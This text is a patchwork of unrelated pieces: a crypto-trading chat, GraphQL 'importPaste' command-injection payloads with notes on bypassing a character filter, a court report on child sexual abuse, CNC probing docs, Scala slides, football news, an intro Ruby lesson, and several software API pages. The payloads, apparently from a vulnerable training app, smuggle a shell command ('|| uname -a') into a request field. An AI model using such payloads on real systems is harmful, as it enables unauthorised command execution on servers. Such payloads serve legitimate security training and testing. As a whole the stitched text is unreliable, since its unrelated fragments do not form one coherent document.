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I mena all those bots just got rekt is thats the case tho ...
Alecandro13-Mar-19 03:08 AM
yea agreed
Sdunbar13-Mar-19 03:08 AM
you know there is alwasy a dump off after this kind of gains
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dxer66613-Mar-19 03:08 AM
0.00088799 ≈ 3.44 USD
Alecandro13-Mar-19 03:08 AM
hopefully we can hold above like 26-27k sats if we dump back
yorklab13-Mar-19 03:08 AM
At least there should be a new higher base now.
Alecandro13-Mar-19 03:08 AM
or 30
Markus13-Mar-19 03:09 AM
lets first see where this ends
Sdunbar13-Mar-19 03:09 AM
30k would be nice
if it could holdl that after
actionslacks13-Mar-19 03:09 AM
pls dump, I'm not ready to retire yet
dxer66613-Mar-19 03:09 AM
we need move to 90k in bittrex
Markus13-Mar-19 03:09 AM
110k on huobi
lol
altcoinist13-Mar-19 03:09 AM
Can we arbitrage trade between binance and huobi?
blackjok3r13-Mar-19 03:09 AM
if you ahve an accoutn and KMD on both yes ... you just cleaned up
yorklab13-Mar-19 03:09 AM
Takes about two hours to get your kmd off of Binance I think.
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Markus13-Mar-19 03:10 AM
34k
Spacevibez13-Mar-19 03:10 AM
what's the official news?
yorklab13-Mar-19 03:10 AM
None
blackjok3r13-Mar-19 03:10 AM
Nothing that I know of. ...
yorklab13-Mar-19 03:10 AM
over 34K now on Binance.
actionslacks13-Mar-19 03:10 AM
either someone has lost their shit or they know something we dont
Alecandro13-Mar-19 03:10 AM
yes
or pump and dump
is also possible
blackjok3r13-Mar-19 03:11 AM
I just fixed MoMoM... cross chain import/export of coins seems to be fiunally woirking without any bugs, but litterally just happened, and I need to test it for a few days to make 100% sure.


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# Import Paste allows specifying UNIX characters to break out of the URL provided to importPaste, using characters such as ";" "&&", "||", and more.
mutation {
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# Expert mode
# Import Paste filters characters such as ";" and "&" but not "|", if you manage to cause the import to fail, you can double pipe it to a command that will execute in the context of the operating system.
mutation {
importPaste(host:"hostthatdoesnotexist.com", port:80, path:"/ || uname -a", scheme:"http") {
result
}
}


Douglaas Stephan Withnell and Bethany Jayne Gilmore guilty of sexually abusing a Perth girl
A former married couple have been found guilty of sexually abusing a 12-year-old Perth girl in the 1980s.
It took a West Australian District Court jury less than three hours on Thursday to find Douglass Stephan Withnell guilty of having carnal knowledge of a girl and indecently dealing with a child.
But they found his ex-wife Bethany Jayne Gilmore guilty only of the carnal knowledge offence and acquitted her of indecent dealing.
The now 43-year-old victim, who cannot be named, cried as she testified during the trial detailing her abuse.
She said when she was 12, she was taken to a dark bedroom where Withnell raped her on a bed, as Gilmore held her hand and told her to squeeze it if she was in pain.
Withnell also inappropriately touched the victim during a separate incident.
But the jury rejected her evidence that Gilmore inappropriately touched her during a bath when she was five.
The court heard the former couple had previously been convicted of sexually abusing two of the victim’s sisters.
Justice Joseph McGrath ordered psychological and pre-sentence reports for Gilmore and Withnell.
He also ordered that they be remanded in custody until their sentencing hearing on February 17, saying he had concerns about granting them bail.
“You have been convicted of serious offences,” Justice McGrath said.


Figure-1: Probing and Tool Length Offset
probe toward workpiece, stop on contact
Application supports only one probing mode with Z-Axis ie G398.3
, any additional probing requirements can be full filled via custom buttons or from console window
Feed rate
Feed rate at which Z-Axis will move towards the workpiece.
Plate thickness
Thickness of the probing plate. (It should be given in your current machine units, you can see the current status in machine status panel G21 - Inches
G20 - Millimeters
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Distance to probe
Max probing distance before Z-Axis returns to its initial position. (It should be given based on your machine current distance mode, you can see the current status in machine status panel G90 - absolute distance mode
G91 - incremental distance mode
)
Last probe position
The last successful probe position of Z-Axis.
Current TLO
Amount of current Z-Axis tool length offset value.
Auto adjust Z axis
If turned on and probe is success, application will set the Z-Axis position to zero in current coordinates.
(Also known as auto zero)
Probe
Starts the probing cycle.
Probe + TLO
Starts the probing cycle and applies TLO if probe is success.
TLO
Cancel current TLO on Z-Axis if any.
procedure for using tool change with tool length offset on z-axis
probe
with your first tool with Auto adjust Z axis
is set to off
Probe + TLO
Probe + TLO
TLO is applied to Z-Axis with a difference of current probe position and last probe position.


class: center, middle # Scala's Modular Roots Tim McGilchrist (@lambda_foo) .bottom[![lambda](/talks/scala-syd-2015-modules/lambda.png)] ??? * No Scala expert * Interested in Scala OO and FP intersection * Anecdote about how this subject came up. --- # Scala the Simple Parts Martin Odersky did a series of talks at GOTO Chicago, flatMap Oslo and ScalaDays about "Scala the Simple Parts". Odersky drew from the ML families' module system in designing Scala. ??? --- # OCaml Module System The ML family of languages are static, strongly typed langauges with strict evaluation. The key parts of OCaml's module system are: * Structures * Signatures * Functors ??? Scala is similarly static, stron and strict. First it's worthwhile introducing the key concepts from ML modules. The ML family of languages are static, strongly typed langauges with strict evaluation. Familar features from FP Scala and Haskell OCaml Signatures are pure, no implementation. Which isn't true for Traits --- # OCaml Modules * Structures group together types and functions with implementations. * Signatures interface for a structure. * Functors are functions from `struct` to `struct`. ??? --- # Scala as OCaml * Trait ≅ Signature * Object ≅ Structure * Class ≅ Functor * Abstract Type ≅ Abstract Type * Refinement ≅ Sharing Constraint ??? The slide in particular that discusses this correspondence is above. I'm assuming the values on the left hand side are mostly familar to the audience here, while those on the right may be less so. Users of `scalaz` can probably make sense of a few of them however. Don't stress about that too much, I'll introduce the right hand side and if I do this correctly you'll have a reasonable idea what they are. --- # Signatures as Traits Equivalence between OCaml signatures and Scala's traits. ``` ocaml module type ORDERING = sig type t val compare : t -> t -> int end ``` ??? * --- # Signatures as Traits Similar Ordering concept in the Scala standard library ```scala trait Ordering[T] { def compare(x: T, y: T): Int } ``` ??? * Using type parameter, lets use type members * First point in Odersky's equivalence, sig as traits * Leaving aside that ML signatures are pure, while Scala traits can contain an implementation, the `Ordering` trait is a paramterised type. --- # Rewriting Trait Rewrite Scala to be closer to OCaml ```scala trait Ordering { type T def compare(x: T, y: T): Int } ``` OCaml ``` ocaml module type ORDERING = sig type t val compare : t -> t -> int end ``` ??? * making the positional type parameter an abstract type member * looking rather similar * discussion around type parameters versus abstract type members --- # OCaml Set Signature ```ocaml module type SET = sig type elt type t val empty : t val insert : elt -> t -> t val member : elt -> t -> bool end ``` --- # Scala Set trait ```scala trait SetSig { type Elem type Set def empty: Set def insert(e: Elem, s: Set): Set def member(e: Elem, s: Set): Boolean } ``` --- # Structures as Objects Equivalence between OCaml structures and Scala's objects. OCaml ```ocaml module IntOrdering = struct type t = int let compare(x,y) = x - y end ``` Scala ```scala object IntOrdering extends Ordering { type T = Int def compare(x: T, y: T): Int = x - y } ``` ??? Again baring slight syntax differences the 2 code examples look very similar. --- # Functors as Classes Equivalence between OCaml functors and Scala's classes. Functors are functions from `struct` to `struct`. OCaml has Generative and Applicative versions. ??? * --- # OCaml Functor ```ocaml module UnbalancedSet (Element : ORDERED) : (SET with type elt = Element.t) = struct type elt = Element.t type tree = E | T of tree * t * tree type t = tree let empty = E let rec member x = function | E -> false | T(a, y, b) when Element.compare x y < 0 -> member x a | T(a, y, b) when Element.compare x y > 0 -> member x b | _ -> true ... end ``` ??? * Taken from Purely Functional Data Structures by Okasaki * Parameterised over ORDERED and SET * Sharing constraint, between SET elt and ORDERED. --- # Scala Class ```scala abstract class UnbalancedSet extends SetSig { val Element: Ordering type Elem = Element.T sealed trait Set case object Leaf extends Set case class Branch(left: Set, elem: Elem, right: Set) extends Set val empty = Leaf ``` ??? * --- # Continued ```scala def member(x: Elem, s: Set): Boolean = s match { case Leaf => false case Branch(l, y, r) => if (Element.compare(x, y) < 0) member(x, l) else if (Element.compare(x, y) > 0) member(x, r) else true } ... } ``` --- # Using Functors ```ocaml module S = UnbalancedSet(IntOrdering) ``` ```scala object S extends UnbalancedSet { val Element: Ordering = IntOrdering } ``` --- ```scala scala> var set = S.insert(1, S.empty) set: S.Set = Branch(Leaf,1,Leaf) scala> set = S.insert(2, set) set: S.Set = Branch(Leaf,1,Branch(Leaf,2,Leaf)) scala> S.member(2, set) res5: Boolean = true scala> S.member(4, set) res6: Boolean = false ``` ```ocaml utop # let set = S.(insert 1 empty);; val set : S.t =
val set' : S.t =
- : bool = true - : bool = false ``` ??? * Scala functors are generative * OCaml's are applicative by default, generative if you ask nicely. --- # Where OCaml modules differ? * OCaml signatures are structural types * Scala traits are nomimal types * OCaml signatures can be composed structurally * Scala's mixin composition is nominal and creates an inequivalent type. * OCaml has generative and applicative Functors. * Scala Functors are generative, maybe? ??? * Structural types match the requirements of the signature. * Extra flexibility, no need to pre-declare. * Nominal types is more restrictive. * Requires any matching to be explicitly stated. * This generative property is sometimes called "Path Dependent Typing" * First Class Modules in OCaml, putting modules into variables. * Scala can do structural types --- # Conclusion * Expressing modular systems in Scala * Scala is clearly a powerful language * Scala has Path Dependent Types * Look outside your current chosen language. ??? * Modular Scala is clearly near and dear to Martin Odersky’s * Powerful enough that you can craft your own module system * Important to look outside your current language(s) for inspiration. --- # Resources * Scala: The Simple Parts https://www.youtube.com/watch?v=P8jrvyxHodU&feature=youtube_gdata_player * Shapeless: github.com/milessabin/shapeless * Encoding Standard ML modules in OO http://stackoverflow.com/questions/23006951/encoding-standard-ml-modules-in-oo --- class: center, middle # Thanks! Tim McGilchrist @lambda_foo Software Engineer @ Ambiata Thanks!


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Jose Mourinho now FAVOURITE for Tottenham job claims journalist, decision expected soon
by Ron CarneReliable Sky Sport Italia journalist Fabrizio Romano has revealed that Jose Mourinho is now the favourite to land the Tottenham job.
Spurs confirmed on Tuesday evening that they had parted company with Mauricio Pochettino after enduring a difficult season thus far.
SEE MORE: ‘Heartbroken’ – These Tottenham fans react to Mauricio Pochettino leaving
As they sit down in 14th place in the Premier League table after 12 games, the decision has been reached to replace the Argentine tactician and speculation has unsurprisingly been rife since the announcement was made.
Now, according to Romano in his tweet below, Mourinho has emerged as the favourite to become the new Tottenham manager, and he has tipped chairman Daniel Levy to make his decision quickly with former Juventus and AC Milan boss Massimiliano Allegri ruled out of the race.
It seems like strange timing for Tottenham to reach their decision with just days left of the international break as had they acted swiftly last week, it could have given their new boss or a caretaker time to settle and prepare the team for their clash with West Ham this weekend.
Instead, there will no doubt be uncertainty and tension in the coming days as the wait goes on to see who will be appointed as Pochettino’s successor, but given Mourinho’s experience and track record of winning trophies wherever he has gone, it could be an exciting time for Spurs moving forward if he is indeed named the new manager.
The former Man Utd boss has been out of management since last December when he left Old Trafford, but has spent the last 11 months staying busy with promotional gigs and punditry roles.
However, based on the tweet below and countless reports around the British media, including Sky Sports, Mourinho may well be on his way back to the Premier League as Tottenham manager.


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Some "rules"
…and our first look at a Ruby program!
Most importantly:
(how will I know?)
> Ruby.easy_to_learn? and Ruby.fun_to_use?
=> true
ruby> 1 + 1
=> 2
ruby> puts "Hello World!"
Hello World!
ruby> 3.times do
puts "Hello World!"
end
Hello World!
Hello World!
Hello World!
Greeter
Code
puts "Hi, welcome to Intro to Ruby! What is everyone's name?"
while name = get_input_from_user
break if name.empty?
student_names << name.capitalize
end
student_names.each do |student_name|
puts "Hi #{student_name}, it is #{random_adverb.upcase} to meet you!"
end
def random_adverb
["nice", "great", "wonderful"].shuffle.first
end
Let's start coding for real!
Let's talk in more detail about some of the things we saw.
repl.it is an online REPL that supports several different languages. It's a great place to try things, and makes it easy for us to share links to our code in class.
Visit the repl.it site and select "Ruby" from the menu.
Try out some calculator functions
3 + 4
2 * 4
6 - 2
4 / 2
Other Ruby Math Operators
# Modulo operator (returns the remainder)
11 % 5
=> 1
# Exponent operator (2 raised to the power of 3)
2 ** 3
=> 8
4 /* 2
=> SyntaxError: (irb):10:syntax error, unexpected *
irb> hi
NameError: undefined local variable or method `hi' for main:Object
Ready for the most important tip you can learn about modern programming?
# Everything after the pound sign will not be evaluated.
# These are called comments and I will use them to annotate code
age = 50
days_in_year = 365
days_alive = age * days_in_year
=> 18250
like_this
.
# variables
age = 37
instructor_name = "Ryan Dlugosz"
# constants
BEST_FOOD = "Sushi"
PI = 3.14159
# literals
3
'hi'
# create and assign in one line
age = 0
# access the value in age
age
# replace value in age
age = 40
# use it in a statement
age + 10 # => 50
# good
occupation = "software developer"
# bad
occupation_i_always_dreamed_of_having_in_cincy = "software developer"
o = "software developer"
1st_occupation = "software developer"
# error
name
# defined, initialize, create
name = "KC"
defined?(name) # => true
Built-in: Numbers, Strings, Symbols, Booleans, Regular Expressions, Arrays, Ranges & Hashes
irb> 1.class
=> Fixnum
irb> "Hello".class
=> String
irb> 1.0022.class
=> Float
irb> [1,2,3].class
=> Array
Strings are characters inside double or single quotes.
a = 'Hello '
b = "World"
c = a + b
c.reverse
=> "dlroW olleH"
a = "Spam "
b = a * 4
# Here multiplying a "Spam " by 4 concatenates (links) four strings
=>"Spam Spam Spam Spam "
together
"Ryan".upcase
"Ryan".downcase
"ryan".capitalize
"Hello".reverse
"Ryan".length
"Ryan Dlugosz".swapcase
"".empty?
What is the reverse of your name?
How many characters long is your name?
Can you repeat the word hello 100 times?
What is the 5th character of my name?
Numeric data comes in two types: Integers and Floats
Integers are either Fixnum or Bignum. They do not have decimals.
irb> 1_000_000_000_000_000_000.class
=> Fixnum
irb> 1_000_000_000_000_000_000_000.class
=> Bignum
Floats are numbers with at least one number to the left of a decimal point.
irb> 1.001.class
=> Float
7/8
7.0/8.0
3.14.to_s
3.14.to_i
1 + "2"
1 + "2".to_i
(1 + 2) * 3
1 + (2 * 3)
How many seconds are in an hour?
How many minutes are in a week?
How many years old are you if you've been alive 1 million seconds?
You can think of symbols as lightweight Strings.
It's good to know these exist, but don't think about them too much for now.
# transient and mutable
"hello"
# permanent and immutable
:hello
This is another Object that we will learn about later.
For now, when you hear Boolean, think TRUE and FALSE.
# NOT true
!true
=> false
# NOT false
!false
=> true
We will also leave these data types for the next class
Examples of what they will look like:
# Arrays are used to hold sets of data.
irb> array_of_numbers = [1,2,3]
irb> array_of_numbers.first
=> 1
# Ranges are used to express a sequence.
irb> range_of_numbers = (1..5)
irb> range_of_numbers.include?(4)
=> true
# Hashes are like dictionaries. You can look up a value by a key.
irb> hash_of_key_to_value =
{
"Apple" => "A fruit.",
"Cucumber" => "A vegetable."
}
irb> puts "hello"
hello
=> nil
irb> "2".to_i
=> 2
irb> 2.to_s
=> "2"
irb> "2" / 5
NoMethodError: undefined method `/' for "2":String
Put the code below in a file and save it as name.rb
puts 'Hello there, and what\'s your name?'
name = gets
puts 'Your name is ' + name.chomp! + '? What a lovely name!'
puts 'Pleased to meet you, ' + name + '. :)'
Run your program from the command line:
ruby name.rb
if/then/else
and friends)Sounds like this will be great!
Wow. Can't wait to see you there!
The following slides are included for reference, but are not required steps for completing this Intro to Ruby class. If you have any trouble, please ask me for help in the GDI Slack channel.
If you happen to be using a Mac, Ruby is already installed on your computer!
Download and run the Rails Installer for Windows (Ruby 2.2 version).
The RailsBridge organization maintains a great resource for installing Ruby on your computer. Check it out!
These instructions could be helpful if you run into trouble.
http://docs.railsbridge.org/installfest/
Just work through the instructions for your operating system. For our class, you'll only need to advance through the first steps, but you're welcome to advance further if you're curious or plan to write a Rails applications.
Working in the terminal can be really intimidating at first!
With practice, navigation and file manipulation is significantly faster in the terminal than in the GUI.
Professional software developers use the terminal all the time, and this class will require some use of it.
Mac & Linux users: Open Terminal
Windows users: Open Git-Bash
We will not be using Windows "cmd" program, as it uses a different syntax than *NIX systems.
The line that appears in the terminal when you open it is called the prompt. It usually contains information about the user and current directory. It can be customized.
Terminal instructions often start a line with a $. This represents the last character in the prompt, you don't have to type it.
. |
the current directory- ex: "touch ./wow.txt" |
.. |
the parent of current directory - ex: "cd ../RubyParty" |
~ |
the root directory- ex: "cd ~/Pictures" |
cd [location] |
"change directory" to [location] |
pwd |
"present working directory" - where am I? |
ls -al |
"list all" of the contents of current directory, including invisible ones |
touch [filename.extension] |
create a file called filename.extension in the current directory |
mkdir [directoryname] |
create a directory called directoryname in the current directory |
rm [filename] |
"remove" (delete) the file called filename |
rm -rf [directoryname] |
"remove recursively with force" the directory called directoryname |
clear OR cmd+k |
clear the terminal screen |
help |
lists all possible commands |
man [command] |
displays the manual for command |
# navigate to your desktop
cd ~/Desktop #Linux, Mac
cd desktop #Windows
# make a directory called ruby_adventures
mkdir ruby_adventures
# navigate into new directory
cd ruby_adventures
# create a file
touch class0.rb
# list the contents of the directory
ls
man ls
Output:


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If I'm looking for evidence/occurence/prevalence of transmission based views of communication in PM literature, and assuming I find it, then it seems my argument becomes something like:
This view is pervasive and shapes the way we think about and manage communication in PM situations.
-
If so, then I'm arging that language shapes our perception (which is the linguistic determinism/Whorf hypothesis if I'm not mistaken.
- But this seems contrary to Wittgenstein - who argued that the mental component of communication doesn't enter into our analysis of communication
- So what does W think of the Whorf hypothesis/determinism...
- And is this a problem and how to I get around it?
- As far as a resource for explaining the transmission theory, it seems Reddy is more than enough.
- Lots of people seem to conflate all of these things: transmission theory, Cartesian(ism), Shannon-Weaver model - Is it actually fair to use these interchangeably?
- What about representation? Representation seems hairier so to speak
- Rorty??
- Other things:
- Latour - Reassembling the Social
- Latour's idea that we're obligated to treat the subject of our study's motivation with due "ontological weight" and not try to explain it away with "social stuff" seems important and relevant here.
- Latour - Reassembling the Social


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Look Back was an immersive video-installation inspired by the time I met my first love in Japan.
The projection spanned three walls, surrounding viewers in an environment generated from memories from the trip.
I took a photograph from the trip and revisualized it in 3-D space, each pixel of the photo corresponding to a pillar in the environment.
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Fitting linear models and generalized linear models to large data sets by updating algorithms.
| Version: | 0.3-2 |
| Depends: | Matrix, MASS |
| Imports: | methods, stats |
| Published: | 2017-01-09 |
| Author: | Marco Enea [aut, cre], Ronen Meiri [ctb] (on behalf of DMWay Analytics LTD), Tomer Kalimi [ctb] (on behalf of DMWay Analytics LTD) |
| Maintainer: | Marco Enea <emarco76 at libero.it> |
| License: | GPL-2 | GPL-3 [expanded from: GPL] |
| NeedsCompilation: | no |
| Materials: | NEWS |
| In views: | HighPerformanceComputing |
| CRAN checks: | speedglm results |
| Reference manual: | speedglm.pdf |
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Math utility functions
Methods
.clamp( [page:Float x], [page:Float a], [page:Float b] ) [page:Float]
x — Value to be clamped.
a — Minimum value
b — Maximum value.
Clamps the x to be between a and b.
.clampBottom( [page:Float x], [page:Float a] ) [page:Float]
x — Value to be clamped.
a — Minimum value
Clamps the x to be larger than a.
.mapLinear( [page:Float x], [page:Float a] ) [page:Float]
x — Value to be mapped.
a1 — Minimum value for range A.
a2 — Maximum value for range A.
b1 — Minimum value for range B.
b2 — Maximum value for range B.
Linear mapping of x from range [a1, a2] to range [b1, b2].
.random16() [page:Float]
Random float from 0 to 1 with 16 bits of randomness.
Standard Math.random() creates repetitive patterns when applied over larger space.
.randInt( [page:Integer low], [page:Integer high] ) [page:Integer]
Random integer from low to high interval.
.randFloat( [page:Float low], [page:Float high] ) [page:Float]
Random float from low to high interval.
.randFloatSpread( [page:Float range] ) [page:Float]
Random float from - range / 2 to range / 2 interval.
Source
src/[path].js


amo-cli
A CLI tool used to browse Mozilla Add-ons (AMO)
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CLI app. Being familiar with Mozilla Add-ons, I decided I would make a tool to interact
with the AMO API, and that was how amo-cli came to be.
Features ✨
- selectable locale to view add-ons in your native language
- search functionality with ability to sort and filter
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API Reference¶
DirectorField¶
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class
nemaktis.lc_material.
DirectorField
(**kwargs)¶ The DirectorField class stores the director field and mesh informations. It is initialized given either the lengths and dimensions of the associated 3D mesh or a path to a vti file containing the director field and mesh details.
In the first version of this constructor:
nfield = DirectorField( mesh_lengths=(Lx,Ly,Lz), mesh_dimensions=(Nx,Ny,Nz))
the actual values of the director field needs to be provided later using the “init_from_funcs” method or via the setter method “vals” (numpy array of shape (Nz,Ny,Nx,3)). The mesh lengths needs to be specified in micrometer.
In the second version of this constructor:
nfield = DirectorField(vti_file="path to vti file")
the values of the director field and the details of the mesh are automatically assigned from the vti file.
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set_mask
(*, mask_type, mask_formula=None, mask_ndarray=None)¶ Set a boolean mask for the LC domain. This method allows to specifify complex shape for the LC domain inside the regular cartesian mesh specified at construction.
Three possible ways of initializing the mask are possible. If you simply want to specify a spherical domain for a droplet centered on the mesh and of diameter equal to the mesh length along z, call:
nfield.set_mask(mask_type="droplet")
You can also use a string formula depending on the space variables
x
,y
andz
and which must evaluates to True if the associated point is inside the LC domain, else False:nfield.set_mask(mask_type="formula", mask_formula="your formula")
Finally, you can directly gives a boolean numpy array of shape (Nz,Ny,Nx), where each value in this array must be True if the associated mesh point is inside the LC domain, else False:
nfield.set_mask(mask_type="raw", mask_ndarray=your_mask_array)
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delete_mask
()¶ Delete the current LC mask.
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property
mask_type
¶ Returns the mask type: “droplet”, “formula” or “raw”.
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property
mask_formula
¶ Returns the LC mask formula if it was set, else returns None.
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property
mask_vals
¶ Returns the LC mask boolean array.
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extend
(scale_x, scale_y)¶ Extend the computational mesh in the
xy
plane by padding new points near thex
andy
boundaries. These new points are initialized with the edge value of the director field on thex
andy
boundaries.- Parameters
scale_x (float) – The mesh length in the x-direction will be scaled by this factor.
scale_y (float) – The mesh length in the y-direction will be scaled by this factor.
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rotate_90deg
(axis)¶ Rotate the director field by 90 degrees around the specified axis.
- Parameters
axis (str) – Axis around which to perform the rotation. Need to be under the form ‘[s]A’ where the optional parameter ‘s’=’+’ or ‘-‘ decribes the sign of rotation and ‘A’=’x’, ‘y’ or ‘z’ defines the rotation axis.
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rotate_180deg
(axis)¶ Rotate the director field by 180 degrees around the specified axis.
- Parameters
axis (str) – Axis around which to perform the rotation. Need to be under the form ‘A’ where ‘A’=’x’, ‘y’ or ‘z’ defines the rotation axis.
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property
vals
¶ Numpy array for the director values, of shape (Nz,Ny,Nx,3).
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init_from_funcs
(nx_func, ny_func, nz_func)¶ Initialize the director field from three functions for each of its component. The functions must depends on the space variables
x
,y
andz
. We recall that the mesh is centered on the origin.If the given function are numpy-vectorizable, this function should be pretty fast. If not, a warning will be printed and the given function will be vectorized with the numpy method
vectorize
(in which case you should expect a much slower execution time).
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normalize
()¶ Normalize the director field values to 1.
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save_to_vti
(filename)¶ Save the director field into a vti file.
The “.vti” extension is automatically appended, no need to include it in the filename parameter (but in case you do only one extension will be added)
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get_pos
(ix, iy, iz)¶ Returns the spatial position associated with the mesh indices (ix,iy,iz)
It is assumed that the mesh is centered on the origin (0,0,0).
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get_mesh_dimensions
()¶ Returns the dimensions (Nx,Ny,Nz) of the simulation mesh
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get_mesh_lengths
()¶ Returns the lengths (Lx,Ly,Lz) of the simulation mesh
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get_mesh_spacings
()¶ Returns the spacings (dx,dy,dz) of the simulation mesh
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get_n_vertices
()¶ Returns the number of vertices in the simulation mesh
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LCMaterial¶
-
class
nemaktis.lc_material.
LCMaterial
(*, director_field, ne, no, nhost=1, nin=1)¶ A class containing the director field data, simulation mesh, and physics constants.
- Parameters
director_field (
DirectorField
object) –ne (float or math string depending on the wavelength variable "lambda" (µm)) – The extraordinary refractive index associated with the LC material.
no (float or math string depending on the wavelength variable "lambda" (µm)) – The ordinary refractive index associated with the LC material.
nhost (optional, float or math string depending on the wavelength variable "lambda" (µm)) – The refractive index associated with an eventual host fluid in which the LC domain is embedded (see DirectorField.set_mask).
nin (optional, float or math string depending on the wavelength variable "lambda" (µm)) – The refractive index associated with the input medium below the LC layer. A default value of 1 is assumed.
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add_isotropic_layer
(*, nlayer, thickness)¶ Add an isotropic layer above the sample. Light is assumed to propagate in the z-direction, and will cross first the LC material, and then the isotropic layers specified with this function.
- Parameters
nlayer (float) – Refractive index of the new isotropic layer
thickness (float) – Thickness (µm) of the new isotropic layer
LightPropagator¶
-
class
nemaktis.light_propagator.
LightPropagator
(*, material, wavelengths, numerical_aperture)¶ The LightPropagator class allows to propagate optical fields through a LC sample. The simulation and choice of backend is done by calling the method
propagate_field
. For each wavelength specified at construction, two simulations are done: one with a light source polarised along x, and one with a light source polarised along y. This allows us to fully caracterize the transmission of the LC sample and reconstruct any kind of optical micrograph.Currently, we only support single plane-wave source with input fields propagating along
z
. If you want to take into account input numerical aperture effect, you need to use thedtmm
backend directly (this may change in a future version). However, we do support numerical aperture effect due to the microscope objective (i.e. on the output side).- Parameters
material (
LCMaterial
object) –wavelengths (array-like object) – An array containing all the wavelengths of the spectrum for the light source.
numerical_aperture (float) – Sets the numerical aperture for the microscope objective.
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property
material
¶ Returns the current LC material
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propagate_fields
(*, method, bulk_filename=None)¶ Propagate optical fields through the LC sample using the specified backend.
- Parameters
method ("bpm" | "dtmm") –
If equal to “bpm”, the beam propagation backend will be used. Should be used if accuracy is privileged over speed.
If equal to “dtmm”, the diffractive transfer matrix backend will be used. Should be used if speed is privileged over accuracy.
bulk_filename (None or string) – If none, the backend will not export the bulk value of the optical fields in the LC layer. Else, the bulk fields values will be exported to a vti file whose basename is set by this parameter.
OpticalFields¶
-
class
nemaktis.light_propagator.
OpticalFields
(**kwargs)¶ The OpticalFields object stores the mesh information of the transverse mesh (plane mesh orthogonal to the z-direction, default altitude of 0) and the optical fields values on this mesh. Since this python package is mainly used to reconstruct micrographs, we only store internally the complex horizontal electric field for two simulation: one with a light source polarised along
x
, and the other with a light source polarised alongy
. In case multiple wavelengths were used in the simulation, we store these quantities separately for each wavelength.This class is initialised given either a wavelength array and the lengths and dimensions of the 2D mesh for the transverse fields or a path to a vti file containing previously calculated optical fields and mesh details.
In the first version of this constructor:
optical_fields = OpticalFields( wavelengths=[l0,l1,...,lN], mesh_lengths=(Lx,Ly), mesh_dimensions=(Nx,Ny))
the actual values of the transverse fields needs to be provided later using the raw setter method fields_vals (shape (N_wavelengths,4,Ny,Nx)).
In the second version of this constructor:
optical_fields = OpticalFields(vti_file="path to vti file")
the values of the wavelengths and transverse fields are automatically assigned from the vti file.
-
copy
()¶ Returns a hard copy of this OpticalFields object
-
property
vals
¶ Numpy array for the optical fields values, of shape (N_wavelengths,4,Ny,Nx).
If you want to initialize by hand the optical fields, the four components in the second dimension correspond to:
complex Ex field for an input polarisation//x
complex Ey field for an input polarisation//x
complex Ex field for an input polarisation//y
complex Ey field for an input polarisation//y
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propagate
(new_z)¶ Propagate the optical fields to a new transverse plane at altitude
new_z
by switching to Fourier space and using the exact propagator for the Helmholtz equation in free space.
-
save_to_vti
(filename)¶ Save the optical fields into a vti file.
The “.vti” extension is automatically appended, no need to include it in the filename parameter (but in case you do only one extension will be added)
-
get_pos
(ix, iy)¶ Returns the position associated with the mesh indices (ix,iy)
It is assumed that the mesh is centered on the origin (0,0).
-
get_wavelengths
()¶ Returns the wavelength array
-
get_mesh_dimensions
()¶ Returns the dimensions (Nx,Ny) of the transverse mesh
-
get_mesh_lengths
()¶ Returns the lengths (Lx,Ly) of the transverse mesh
-
get_mesh_spacings
()¶ Returns the spacings (dx,dy,dz) of the transverse mesh
-
get_n_vertices
()¶ Returns the number of vertices in the transverse mesh
-
FieldViewer¶
-
class
nemaktis.field_viewer.
FieldViewer
(optical_fields, cmf=None)¶ A class allowing to recombine optical fields to generate optical micrographs like in a real microscope.
- Parameters
optical_fields (
OpticalFields
object) – Can be created either by a LightPropagator or directly by importing a vti file exported in a previous simulation.cmf (numpy ndarray) – A color matching array created with the dtmm package, see https://dtmm.readthedocs.io/en/latest/reference.html#module-dtmm.color
-
polariser
= True¶ Is there a polariser in the optical setup?
-
analyser
= True¶ Is there an analyser in the optical setup?
-
compensator
= 'No'¶ If “No”, remove the compensator from the optical setup. Other values set the type of compensator:
“Quarter-wave”: An achromatic quarter-wave compensator
“Half-wave”: An achromatic half-wave compensator
“Tint-sensitive”: a full-wave compensator at 540 nm.
-
polariser_angle
= 0¶ Angle (in degree) between the privileged axis of the polariser and the x-axis
-
analyser_angle
= 90¶ Angle (in degree) between the privileged axis of the analyser and the x-axis
-
compensator_angle
= 0¶ Angle (in degree) between the fast axis of the compensator and the x-axis
-
n_tiles_x
= 1¶ Number of repetitions of the micrograph in the x-direction
-
n_tiles_y
= 1¶ Number of repetitions of the micrograph in the y-direction
-
grayscale
= False¶ Should we calculate a grayscale micrograph (True) or a color micrograph (False)
-
intensity
= 1¶ Intensity factor of the micrograph
-
plot
()¶ Run a graphical user interface allowing to dynamically adjust the attributes of this class and visualize the associated micrographs in real-time.
-
property
z_focus
¶ Current vertical position of the focal plane
-
get_image
()¶ Returns the current micrograph as a numpy array of shape (Ny,Nx,3|1), (last dim is 3 if in color mode, 1 if in grayscale mode).
-
update_image
()¶ Recompute the micrograph from the optical fields data


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